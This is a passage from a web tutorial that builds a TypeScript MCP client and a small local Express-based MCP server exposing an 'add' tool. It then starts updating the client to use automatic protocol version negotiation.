<p>Create a <code>tsconfig.json</code> in the project directory:</p>
<div class="language-json codeBlockContainer_Ckt0 theme-code-block" style="--prism-color:#0B1633;--prism-background-color:#F4F6FA"><div class="codeBlockContent_QJqH"><pre tabindex="0" class="prism-code language-json codeBlock_bY9V thin-scrollbar" style="color:#0B1633;background-color:#F4F6FA"><code class="codeBlockLines_e6Vv"><span class="token-line" style="color:#0B1633"><span class="token punctuation" style="color:#5A6072">{</span><span class="token plain"></span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain">  </span><span class="token property" style="color:#1F4FFF">"compilerOptions"</span><span class="token operator">:</span><span class="token plain"> </span><span class="token punctuation" style="color:#5A6072">{</span><span class="token plain"></span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain">    </span><span class="token property" style="color:#1F4FFF">"target"</span><span class="token operator">:</span><span class="token plain"> </span><span class="token string" style="color:#15803D">"es2022"</span><span class="token punctuation" style="color:#5A6072">,</span><span class="token plain"></span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain">    </span><span class="token property" style="color:#1F4FFF">"module"</span><span class="token operator">:</span><span class="token plain"> </span><span class="token string" style="color:#15803D">"nodenext"</span><span class="token punctuation" style="color:#5A6072">,</span><span class="token plain"></span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain">    </span><span class="token property" style="color:#1F4FFF">"types"</span><span class="token operator">:</span><span class="token plain"> </span><span class="token punctuation" style="color:#5A6072">[</span><span class="token string" style="color:#15803D">"node"</span><span class="token punctuation" style="color:#5A6072">]</span><span class="token punctuation" style="color:#5A6072">,</span><span class="token plain"></span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain">    </span><span class="token property" style="color:#1F4FFF">"strict"</span><span class="token operator">:</span><span class="token plain"> </span><span class="token boolean" style="color:#C43300">true</span><span class="token punctuation" style="color:#5A6072">,</span><span class="token plain"></span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain">    </span><span class="token property" style="color:#1F4FFF">"skipLibCheck"</span><span class="token operator">:</span><span class="token plain"> </span><span class="token boolean" style="color:#C43300">true</span><span class="token punctuation" style="color:#5A6072">,</span><span class="token plain"></span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain">    </span><span class="token property" style="color:#1F4FFF">"noEmit"</span><span class="token operator">:</span><span class="token plain"> </span><span class="token boolean" style="color:#C43300">true</span><span class="token plain"></span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain">  </span><span class="token punctuation" style="color:#5A6072">}</span><span class="token plain"></span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain"></span><span class="token punctuation" style="color:#5A6072">}</span><br></span></code></pre></div></div>
<p>This tells your editor about Node.js, so it recognizes globals such as <code>process</code>.</p>
</li>
<li class="">
<p>Create <code>client.ts</code>:</p>
<div class="language-typescript codeBlockContainer_Ckt0 theme-code-block" style="--prism-color:#0B1633;--prism-background-color:#F4F6FA"><div class="codeBlockContent_QJqH"><pre tabindex="0" class="prism-code language-typescript codeBlock_bY9V thin-scrollbar" style="color:#0B1633;background-color:#F4F6FA"><code class="codeBlockLines_e6Vv"><span class="token-line" style="color:#0B1633"><span class="token keyword" style="color:#1F4FFF">import</span><span class="token plain"> </span><span class="token punctuation" style="color:#5A6072">{</span><span class="token plain"></span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain">  Client</span><span class="token punctuation" style="color:#5A6072">,</span><span class="token plain"></span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain">  StreamableHTTPClientTransport</span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain"></span><span class="token punctuation" style="color:#5A6072">}</span><span class="token plain"> </span><span class="token keyword" style="color:#1F4FFF">from</span><span class="token plain"> </span><span class="token string" style="color:#15803D">'@modelcontextprotocol/client'</span><span class="token punctuation" style="color:#5A6072">;</span><span class="token plain"></span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain" style="display:inline-block"></span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain"></span><span class="token keyword" style="color:#1F4FFF">const</span><span class="token plain"> client </span><span class="token operator">=</span><span class="token plain"> </span><span class="token keyword" style="color:#1F4FFF">new</span><span class="token plain"> </span><span class="token class-name" style="color:#0B1633;font-weight:600">Client</span><span class="token punctuation" style="color:#5A6072">(</span><span class="token punctuation" style="color:#5A6072">{</span><span class="token plain"></span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain">  name</span><span class="token operator">:</span><span class="token plain"> </span><span class="token string" style="color:#15803D">'example-client'</span><span class="token punctuation" style="color:#5A6072">,</span><span class="token plain"></span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain">  version</span><span class="token operator">:</span><span class="token plain"> </span><span class="token string" style="color:#15803D">'1.0.0'</span><span class="token plain"></span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain"></span><span class="token punctuation" style="color:#5A6072">}</span><span class="token punctuation" style="color:#5A6072">)</span><span class="token punctuation" style="color:#5A6072">;</span><span class="token plain"></span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain" style="display:inline-block"></span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain"></span><span class="token keyword" style="color:#1F4FFF">const</span><span class="token plain"> transport </span><span class="token operator">=</span><span class="token plain"> </span><span class="token keyword" style="color:#1F4FFF">new</span><span class="token plain"> </span><span class="token class-name" style="color:#0B1633;font-weight:600">StreamableHTTPClientTransport</span><span class="token punctuation" style="color:#5A6072">(</span><span class="token plain"></span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain">  </span><span class="token keyword" style="color:#1F4FFF">new</span><span class="token plain"> </span><span class="token class-name constant" style="color:#C43300;font-weight:600">URL</span><span class="token punctuation" style="color:#5A6072">(</span><span class="token string" style="color:#15803D">'http://localhost:3000/mcp'</span><span class="token punctuation" style="color:#5A6072">)</span><span class="token plain"></span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain"></span><span class="token punctuation" style="color:#5A6072">)</span><span class="token punctuation" style="color:#5A6072">;</span><span class="token plain"></span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain" style="display:inline-block"></span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain"></span><span class="token keyword" style="color:#1F4FFF">try</span><span class="token plain"> </span><span class="token punctuation" style="color:#5A6072">{</span><span class="token plain"></span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain">  </span><span class="token keyword" style="color:#1F4FFF">await</span><span class="token plain"> client</span><span class="token punctuation" style="color:#5A6072">.</span><span class="token function" style="color:#0B1633;font-weight:600">connect</span><span class="token punctuation" style="color:#5A6072">(</span><span class="token plain">transport</span><span class="token punctuation" style="color:#5A6072">)</span><span class="token punctuation" style="color:#5A6072">;</span><span class="token plain"></span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain" style="display:inline-block"></span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain">  </span><span class="token keyword" style="color:#1F4FFF">const</span><span class="token plain"> </span><span class="token punctuation" style="color:#5A6072">{</span><span class="token plain"> tools </span><span class="token punctuation" style="color:#5A6072">}</span><span class="token plain"> </span><span class="token operator">=</span><span class="token plain"> </span><span class="token keyword" style="color:#1F4FFF">await</span><span class="token plain"> client</span><span class="token punctuation" style="color:#5A6072">.</span><span class="token function" style="color:#0B1633;font-weight:600">listTools</span><span class="token punctuation" style="color:#5A6072">(</span><span class="token punctuation" style="color:#5A6072">)</span><span class="token punctuation" style="color:#5A6072">;</span><span class="token plain"></span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain" style="display:inline-block"></span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain">  </span><span class="token builtin" style="color:#1F4FFF">console</span><span class="token punctuation" style="color:#5A6072">.</span><span class="token function" style="color:#0B1633;font-weight:600">log</span><span class="token punctuation" style="color:#5A6072">(</span><span class="token plain">tools</span><span class="token punctuation" style="color:#5A6072">.</span><span class="token function" style="color:#0B1633;font-weight:600">map</span><span class="token punctuation" style="color:#5A6072">(</span><span class="token plain">tool </span><span class="token operator">=&gt;</span><span class="token plain"> tool</span><span class="token punctuation" style="color:#5A6072">.</span><span class="token plain">name</span><span class="token punctuation" style="color:#5A6072">)</span><span class="token punctuation" style="color:#5A6072">)</span><span class="token punctuation" style="color:#5A6072">;</span><span class="token plain"></span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain"></span><span class="token punctuation" style="color:#5A6072">}</span><span class="token plain"> </span><span class="token keyword" style="color:#1F4FFF">finally</span><span class="token plain"> </span><span class="token punctuation" style="color:#5A6072">{</span><span class="token plain"></span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain">  </span><span class="token keyword" style="color:#1F4FFF">await</span><span class="token plain"> client</span><span class="token punctuation" style="color:#5A6072">.</span><span class="token function" style="color:#0B1633;font-weight:600">close</span><span class="token punctuation" style="color:#5A6072">(</span><span class="token punctuation" style="color:#5A6072">)</span><span class="token punctuation" style="color:#5A6072">;</span><span class="token plain"></span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain"></span><span class="token punctuation" style="color:#5A6072">}</span><br></span></code></pre></div></div>
</li>
</ol>
<p>This client connects to an MCP server over Streamable HTTP, retrieves the available tools, and prints their names.</p>
<p>The only thing we're missing is a server to connect to.</p>
<h3 class="anchor anchorTargetStickyNavbar_Vzrq" id="testing-without-an-existing-mcp-server">Testing without an existing MCP server<a href="https://choreolabs.com/identity-and-access-management/learn/agent-oauth-mcp-client#testing-without-an-existing-mcp-server" class="hash-link" aria-label="Direct link to Testing without an existing MCP server" title="Direct link to Testing without an existing MCP server" translate="no">​</a></h3>
<p>We need an MCP server to test our client against. Rather than configuring an existing server, let's create a small one ourselves.</p>
<p>Our server will expose a single tool called <code>add</code>. It accepts two numbers and returns their sum. We won't need authentication for this first example.</p>
<ol>
<li class="">
<p>Install the MCP server SDK, the Express integration, and Zod:</p>
<div class="language-bash codeBlockContainer_Ckt0 theme-code-block" style="--prism-color:#0B1633;--prism-background-color:#F4F6FA"><div class="codeBlockContent_QJqH"><pre tabindex="0" class="prism-code language-bash codeBlock_bY9V thin-scrollbar" style="color:#0B1633;background-color:#F4F6FA"><code class="codeBlockLines_e6Vv"><span class="token-line" style="color:#0B1633"><span class="token plain">npm install --save-exact \</span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain">  @modelcontextprotocol/server@2.4.0 \</span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain">  @modelcontextprotocol/express@2.0.2 \</span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain">  @modelcontextprotocol/node@2.1.2 \</span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain">  express \</span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain">  zod@4</span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain" style="display:inline-block"></span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain">npm install --save-dev @types/express</span><br></span></code></pre></div></div>
<p>We need three MCP packages here:</p>
<ul>
<li class=""><code>@modelcontextprotocol/server</code> implements the MCP functionality.</li>
<li class=""><code>@modelcontextprotocol/express</code> provides the Express integration.</li>
<li class=""><code>@modelcontextprotocol/node</code> connects the MCP handler to Node.js HTTP requests.</li>
</ul>
<p><code>@types/express</code> gives your editor the types for Express's <code>req</code> and <code>res</code>.</p>
</li>
<li class="">
<p>Create a file named <code>server.ts</code>:</p>
<div class="language-typescript codeBlockContainer_Ckt0 theme-code-block" style="--prism-color:#0B1633;--prism-background-color:#F4F6FA"><div class="codeBlockContent_QJqH"><pre tabindex="0" class="prism-code language-typescript codeBlock_bY9V thin-scrollbar" style="color:#0B1633;background-color:#F4F6FA"><code class="codeBlockLines_e6Vv"><span class="token-line" style="color:#0B1633"><span class="token keyword" style="color:#1F4FFF">import</span><span class="token plain"> </span><span class="token punctuation" style="color:#5A6072">{</span><span class="token plain"> createMcpExpressApp </span><span class="token punctuation" style="color:#5A6072">}</span><span class="token plain"> </span><span class="token keyword" style="color:#1F4FFF">from</span><span class="token plain"> </span><span class="token string" style="color:#15803D">'@modelcontextprotocol/express'</span><span class="token punctuation" style="color:#5A6072">;</span><span class="token plain"></span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain"></span><span class="token keyword" style="color:#1F4FFF">import</span><span class="token plain"> </span><span class="token punctuation" style="color:#5A6072">{</span><span class="token plain"> toNodeHandler </span><span class="token punctuation" style="color:#5A6072">}</span><span class="token plain"> </span><span class="token keyword" style="color:#1F4FFF">from</span><span class="token plain"> </span><span class="token string" style="color:#15803D">'@modelcontextprotocol/node'</span><span class="token punctuation" style="color:#5A6072">;</span><span class="token plain"></span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain"></span><span class="token keyword" style="color:#1F4FFF">import</span><span class="token plain"> </span><span class="token punctuation" style="color:#5A6072">{</span><span class="token plain"> createMcpHandler</span><span class="token punctuation" style="color:#5A6072">,</span><span class="token plain"> McpServer </span><span class="token punctuation" style="color:#5A6072">}</span><span class="token plain"> </span><span class="token keyword" style="color:#1F4FFF">from</span><span class="token plain"> </span><span class="token string" style="color:#15803D">'@modelcontextprotocol/server'</span><span class="token punctuation" style="color:#5A6072">;</span><span class="token plain"></span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain"></span><span class="token keyword" style="color:#1F4FFF">import</span><span class="token plain"> </span><span class="token operator">*</span><span class="token plain"> </span><span class="token keyword" style="color:#1F4FFF">as</span><span class="token plain"> z </span><span class="token keyword" style="color:#1F4FFF">from</span><span class="token plain"> </span><span class="token string" style="color:#15803D">'zod/v4'</span><span class="token punctuation" style="color:#5A6072">;</span><span class="token plain"></span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain" style="display:inline-block"></span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain"></span><span class="token keyword" style="color:#1F4FFF">const</span><span class="token plain"> handler </span><span class="token operator">=</span><span class="token plain"> </span><span class="token function" style="color:#0B1633;font-weight:600">createMcpHandler</span><span class="token punctuation" style="color:#5A6072">(</span><span class="token punctuation" style="color:#5A6072">(</span><span class="token punctuation" style="color:#5A6072">)</span><span class="token plain"> </span><span class="token operator">=&gt;</span><span class="token plain"> </span><span class="token punctuation" style="color:#5A6072">{</span><span class="token plain"></span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain">  </span><span class="token keyword" style="color:#1F4FFF">const</span><span class="token plain"> server </span><span class="token operator">=</span><span class="token plain"> </span><span class="token keyword" style="color:#1F4FFF">new</span><span class="token plain"> </span><span class="token class-name" style="color:#0B1633;font-weight:600">McpServer</span><span class="token punctuation" style="color:#5A6072">(</span><span class="token punctuation" style="color:#5A6072">{</span><span class="token plain"></span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain">    name</span><span class="token operator">:</span><span class="token plain"> </span><span class="token string" style="color:#15803D">'test-server'</span><span class="token punctuation" style="color:#5A6072">,</span><span class="token plain"></span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain">    version</span><span class="token operator">:</span><span class="token plain"> </span><span class="token string" style="color:#15803D">'1.0.0'</span><span class="token plain"></span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain">  </span><span class="token punctuation" style="color:#5A6072">}</span><span class="token punctuation" style="color:#5A6072">)</span><span class="token punctuation" style="color:#5A6072">;</span><span class="token plain"></span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain" style="display:inline-block"></span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain">  server</span><span class="token punctuation" style="color:#5A6072">.</span><span class="token function" style="color:#0B1633;font-weight:600">registerTool</span><span class="token punctuation" style="color:#5A6072">(</span><span class="token plain"></span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain">    </span><span class="token string" style="color:#15803D">'add'</span><span class="token punctuation" style="color:#5A6072">,</span><span class="token plain"></span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain">    </span><span class="token punctuation" style="color:#5A6072">{</span><span class="token plain"></span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain">      description</span><span class="token operator">:</span><span class="token plain"> </span><span class="token string" style="color:#15803D">'Add two numbers'</span><span class="token punctuation" style="color:#5A6072">,</span><span class="token plain"></span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain">      inputSchema</span><span class="token operator">:</span><span class="token plain"> z</span><span class="token punctuation" style="color:#5A6072">.</span><span class="token function" style="color:#0B1633;font-weight:600">object</span><span class="token punctuation" style="color:#5A6072">(</span><span class="token punctuation" style="color:#5A6072">{</span><span class="token plain"></span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain">        a</span><span class="token operator">:</span><span class="token plain"> z</span><span class="token punctuation" style="color:#5A6072">.</span><span class="token function" style="color:#0B1633;font-weight:600">number</span><span class="token punctuation" style="color:#5A6072">(</span><span class="token punctuation" style="color:#5A6072">)</span><span class="token punctuation" style="color:#5A6072">,</span><span class="token plain"></span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain">        b</span><span class="token operator">:</span><span class="token plain"> z</span><span class="token punctuation" style="color:#5A6072">.</span><span class="token function" style="color:#0B1633;font-weight:600">number</span><span class="token punctuation" style="color:#5A6072">(</span><span class="token punctuation" style="color:#5A6072">)</span><span class="token plain"></span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain">      </span><span class="token punctuation" style="color:#5A6072">}</span><span class="token punctuation" style="color:#5A6072">)</span><span class="token plain"></span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain">    </span><span class="token punctuation" style="color:#5A6072">}</span><span class="token punctuation" style="color:#5A6072">,</span><span class="token plain"></span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain">    </span><span class="token keyword" style="color:#1F4FFF">async</span><span class="token plain"> </span><span class="token punctuation" style="color:#5A6072">(</span><span class="token punctuation" style="color:#5A6072">{</span><span class="token plain"> a</span><span class="token punctuation" style="color:#5A6072">,</span><span class="token plain"> b </span><span class="token punctuation" style="color:#5A6072">}</span><span class="token punctuation" style="color:#5A6072">)</span><span class="token plain"> </span><span class="token operator">=&gt;</span><span class="token plain"> </span><span class="token punctuation" style="color:#5A6072">(</span><span class="token punctuation" style="color:#5A6072">{</span><span class="token plain"></span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain">      content</span><span class="token operator">:</span><span class="token plain"> </span><span class="token punctuation" style="color:#5A6072">[</span><span class="token punctuation" style="color:#5A6072">{</span><span class="token plain"></span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain">        type</span><span class="token operator">:</span><span class="token plain"> </span><span class="token string" style="color:#15803D">'text'</span><span class="token punctuation" style="color:#5A6072">,</span><span class="token plain"></span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain">        text</span><span class="token operator">:</span><span class="token plain"> </span><span class="token function" style="color:#0B1633;font-weight:600">String</span><span class="token punctuation" style="color:#5A6072">(</span><span class="token plain">a </span><span class="token operator">+</span><span class="token plain"> b</span><span class="token punctuation" style="color:#5A6072">)</span><span class="token plain"></span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain">      </span><span class="token punctuation" style="color:#5A6072">}</span><span class="token punctuation" style="color:#5A6072">]</span><span class="token plain"></span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain">    </span><span class="token punctuation" style="color:#5A6072">}</span><span class="token punctuation" style="color:#5A6072">)</span><span class="token plain"></span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain">  </span><span class="token punctuation" style="color:#5A6072">)</span><span class="token punctuation" style="color:#5A6072">;</span><span class="token plain"></span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain" style="display:inline-block"></span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain">  </span><span class="token keyword" style="color:#1F4FFF">return</span><span class="token plain"> server</span><span class="token punctuation" style="color:#5A6072">;</span><span class="token plain"></span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain"></span><span class="token punctuation" style="color:#5A6072">}</span><span class="token punctuation" style="color:#5A6072">)</span><span class="token punctuation" style="color:#5A6072">;</span><span class="token plain"></span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain" style="display:inline-block"></span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain"></span><span class="token keyword" style="color:#1F4FFF">const</span><span class="token plain"> app </span><span class="token operator">=</span><span class="token plain"> </span><span class="token function" style="color:#0B1633;font-weight:600">createMcpExpressApp</span><span class="token punctuation" style="color:#5A6072">(</span><span class="token punctuation" style="color:#5A6072">)</span><span class="token punctuation" style="color:#5A6072">;</span><span class="token plain"></span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain"></span><span class="token keyword" style="color:#1F4FFF">const</span><span class="token plain"> mcpHandler </span><span class="token operator">=</span><span class="token plain"> </span><span class="token function" style="color:#0B1633;font-weight:600">toNodeHandler</span><span class="token punctuation" style="color:#5A6072">(</span><span class="token plain">handler</span><span class="token punctuation" style="color:#5A6072">)</span><span class="token punctuation" style="color:#5A6072">;</span><span class="token plain"></span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain" style="display:inline-block"></span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain">app</span><span class="token punctuation" style="color:#5A6072">.</span><span class="token function" style="color:#0B1633;font-weight:600">all</span><span class="token punctuation" style="color:#5A6072">(</span><span class="token string" style="color:#15803D">'/mcp'</span><span class="token punctuation" style="color:#5A6072">,</span><span class="token plain"> </span><span class="token punctuation" style="color:#5A6072">(</span><span class="token plain">req</span><span class="token punctuation" style="color:#5A6072">,</span><span class="token plain"> res</span><span class="token punctuation" style="color:#5A6072">)</span><span class="token plain"> </span><span class="token operator">=&gt;</span><span class="token plain"> </span><span class="token punctuation" style="color:#5A6072">{</span><span class="token plain"></span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain">  </span><span class="token keyword" style="color:#1F4FFF">void</span><span class="token plain"> </span><span class="token function" style="color:#0B1633;font-weight:600">mcpHandler</span><span class="token punctuation" style="color:#5A6072">(</span><span class="token plain">req</span><span class="token punctuation" style="color:#5A6072">,</span><span class="token plain"> res</span><span class="token punctuation" style="color:#5A6072">,</span><span class="token plain"> req</span><span class="token punctuation" style="color:#5A6072">.</span><span class="token plain">body</span><span class="token punctuation" style="color:#5A6072">)</span><span class="token punctuation" style="color:#5A6072">;</span><span class="token plain"></span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain"></span><span class="token punctuation" style="color:#5A6072">}</span><span class="token punctuation" style="color:#5A6072">)</span><span class="token punctuation" style="color:#5A6072">;</span><span class="token plain"></span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain" style="display:inline-block"></span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain">app</span><span class="token punctuation" style="color:#5A6072">.</span><span class="token function" style="color:#0B1633;font-weight:600">listen</span><span class="token punctuation" style="color:#5A6072">(</span><span class="token number" style="color:#C43300">3000</span><span class="token punctuation" style="color:#5A6072">,</span><span class="token plain"> </span><span class="token string" style="color:#15803D">'localhost'</span><span class="token punctuation" style="color:#5A6072">,</span><span class="token plain"> error </span><span class="token operator">=&gt;</span><span class="token plain"> </span><span class="token punctuation" style="color:#5A6072">{</span><span class="token plain"></span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain">  </span><span class="token keyword" style="color:#1F4FFF">if</span><span class="token plain"> </span><span class="token punctuation" style="color:#5A6072">(</span><span class="token plain">error</span><span class="token punctuation" style="color:#5A6072">)</span><span class="token plain"> </span><span class="token punctuation" style="color:#5A6072">{</span><span class="token plain"></span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain">    </span><span class="token keyword" style="color:#1F4FFF">throw</span><span class="token plain"> error</span><span class="token punctuation" style="color:#5A6072">;</span><span class="token plain"></span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain">  </span><span class="token punctuation" style="color:#5A6072">}</span><span class="token plain"></span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain" style="display:inline-block"></span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain">  </span><span class="token builtin" style="color:#1F4FFF">console</span><span class="token punctuation" style="color:#5A6072">.</span><span class="token function" style="color:#0B1633;font-weight:600">log</span><span class="token punctuation" style="color:#5A6072">(</span><span class="token plain"></span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain">    </span><span class="token string" style="color:#15803D">'MCP server running at http://localhost:3000/mcp'</span><span class="token plain"></span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain">  </span><span class="token punctuation" style="color:#5A6072">)</span><span class="token punctuation" style="color:#5A6072">;</span><span class="token plain"></span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain"></span><span class="token punctuation" style="color:#5A6072">}</span><span class="token punctuation" style="color:#5A6072">)</span><span class="token punctuation" style="color:#5A6072">;</span><br></span></code></pre></div></div>
</li>
<li class="">
<p>Start the server:</p>
<div class="language-bash codeBlockContainer_Ckt0 theme-code-block" style="--prism-color:#0B1633;--prism-background-color:#F4F6FA"><div class="codeBlockContent_QJqH"><pre tabindex="0" class="prism-code language-bash codeBlock_bY9V thin-scrollbar" style="color:#0B1633;background-color:#F4F6FA"><code class="codeBlockLines_e6Vv"><span class="token-line" style="color:#0B1633"><span class="token plain">npx tsx server.ts</span><br></span></code></pre></div></div>
<p>You should see:</p>
<div class="language-text codeBlockContainer_Ckt0 theme-code-block" style="--prism-color:#0B1633;--prism-background-color:#F4F6FA"><div class="codeBlockContent_QJqH"><pre tabindex="0" class="prism-code language-text codeBlock_bY9V thin-scrollbar" style="color:#0B1633;background-color:#F4F6FA"><code class="codeBlockLines_e6Vv"><span class="token-line" style="color:#0B1633"><span class="token plain">MCP server running at http://localhost:3000/mcp</span><br></span></code></pre></div></div>
<p>Leave this terminal running.</p>
</li>
</ol>
<p>Here's what each part of <code>server.ts</code> does:</p>
<ul>
<li class=""><code>McpServer</code> registers our <code>add</code> tool, with its description, input schema, and implementation. When the client calls <code>add</code>, the server receives two numbers and returns their sum.</li>
<li class=""><code>createMcpHandler()</code> handles MCP requests. It creates a fresh server instance for each request, so we don't need to maintain MCP sessions. This follows the stateless model supported by the July 2026 MCP specification.</li>
<li class=""><code>createMcpExpressApp()</code> creates an Express application with JSON body parsing and localhost DNS rebinding protection already set up.</li>
<li class=""><code>toNodeHandler()</code> connects Express's <code>/mcp</code> route to the MCP handler.</li>
<li class="">The <code>app.listen()</code> callback checks <code>error</code>. Express 5 passes startup errors, such as port 3000 already being in use, to this callback instead of throwing them. Without the check, the server prints a success line and exits.</li>
</ul>
<h3 class="anchor anchorTargetStickyNavbar_Vzrq" id="connect-our-client">Connect our client<a href="https://choreolabs.com/identity-and-access-management/learn/agent-oauth-mcp-client#connect-our-client" class="hash-link" aria-label="Direct link to Connect our client" title="Direct link to Connect our client" translate="no">​</a></h3>
<p>Now let's return to the <code>client.ts</code> we created earlier.</p>
<p>We'll make one change to enable automatic protocol version negotiation. This allows the client to use the newer MCP protocol when supported while remaining compatible with older servers.</p>
<ol>
<li class="">
<p>Replace the contents of <code>client.ts</code> with:</p>
<div class="language-typescript codeBlockContainer_Ckt0 theme-code-block" style="--prism-color:#0B1633;--prism-background-color:#F4F6FA"><div class="codeBlockContent_QJqH"><pre tabindex="0" class="prism-code language-typescript codeBlock_bY9V thin-scrollbar" style="color:#0B1633;background-color:#F4F6FA"><code class="codeBlockLines_e6Vv"><span class="token-line" style="color:#0B1633"><span class="token keyword" style="color:#1F4FFF">import</span><span class="token plain"> </span><span class="token punctuation" style="color:#5A6072">{</span><span class="token plain"></span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain">  Client</span><span class="token punctuation" style="color:#5A6072">,</span><span class="token plain"></span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain">  StreamableHTTPClientTransport</span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain"></span><span class="token punctuation" style="color:#5A6072">}</span><span class="token plain"> </span><span class="token keyword" style="color:#1F4FFF">from</span><span class="token plain"> </span><span class="token string" style="color:#15803D">'@modelcontextprotocol/client'</span><span class="token punctuation" style="color:#5A6072">;</span><span class="token plain"></span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain" style="display:inline-block"></span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain"></span><span class="token keyword" style="color:#1F4FFF">const</span><span class="token plain"> client </span><span class="token operator">=</span><span class="token plain"> </span><span class="token keyword" style="color:#1F4FFF">new</span><span class="token plain"> </span><span class="token class-name" style="color:#0B1633;font-weight:600">Client</span><span class="token punctuation" style="color:#5A6072">(</span><span class="token plain"></span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain">  </span><span class="token punctuation" style="color:#5A6072">{</span><span class="token plain"></span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain">    name</span><span class="token operator">:</span><span class="token plain"> </span><span class="token string" style="color:#15803D">'example-client'</span><span class="token punctuation" style="color:#5A6072">,</span><span class="token plain"></span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain">    version</span><span class="token operator">:</span><span class="token plain"> </span><span class="token string" style="color:#15803D">'1.0.0'</span><span class="token plain"></span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain">  </span><span class="token punctuation" style="color:#5A6072">}</span><span class="token punctuation" style="color:#5A6072">,</span><span class="token plain"></span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain">  </span><span class="token punctuation" style="color:#5A6072">{</span><span class="token plain"></span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain">    versionNegotiation</span><span class="token operator">:</span><span class="token plain"> </span><span class="token punctuation" style="color:#5A6072">{</span><span class="token plain"></span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain">      mode</span><span class="token operator">:</span><span class="token plain"> </span><span class="token string" style="color:#15803D">'auto'</span><span class="token plain"></span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain">    </span><span class="token punctuation" style="color:#5A6072">}</span><span class="token plain"></span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain">  </span><span class="token punctuation" style="color:#5A6072">}</span><span class="token plain"></span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain"></span><span class="token punctuation" style="color:#5A6072">)</span><span class="token 